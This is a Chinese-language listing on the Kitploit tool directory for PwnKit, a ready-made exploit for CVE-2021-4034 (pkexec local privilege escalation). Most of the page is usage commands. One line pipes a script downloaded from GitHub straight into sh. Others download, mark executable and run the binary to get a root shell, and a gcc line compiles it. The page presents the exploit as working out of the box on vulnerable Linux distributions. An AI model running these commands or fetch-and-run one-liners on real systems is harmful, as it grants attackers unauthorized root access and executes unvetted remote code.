Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
KERNELexploits — CVE-2021-4034 的自包含利用程序 - Pkexec 本地权限提升 | Kitploit
工具/GitHubGitHub/abbykito/kernelexploits
权限提升漏洞分析漏洞利用渗透测试红队二进制利用
GitHubabbykito/kernelexploits

KERNELexploits

CVE-2021-4034 的自包含利用程序 - Pkexec 本地权限提升

查看仓库
5个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

PwnKit

针对 CVE-2021-4034 的自包含漏洞利用程序 - Pkexec 本地权限提升

使用方法

应能在基于 Ubuntu、Debian、Fedora 和 CentOS 的易受攻击 Linux 发行版上开箱即用。

root@kitploit:~
sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"

手动方式

root@kitploit:~
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
chmod +x ./PwnKit
./PwnKit # 交互式 shell
./PwnKit 'id' # 单条命令

已修补版本

在已修补版本上运行漏洞利用程序将输出如下内容。

编译

root@kitploit:~
gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC

技术细节

  • https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034

参考资料

  • https://github.com/arthepsy/CVE-2021-4034/
下载工具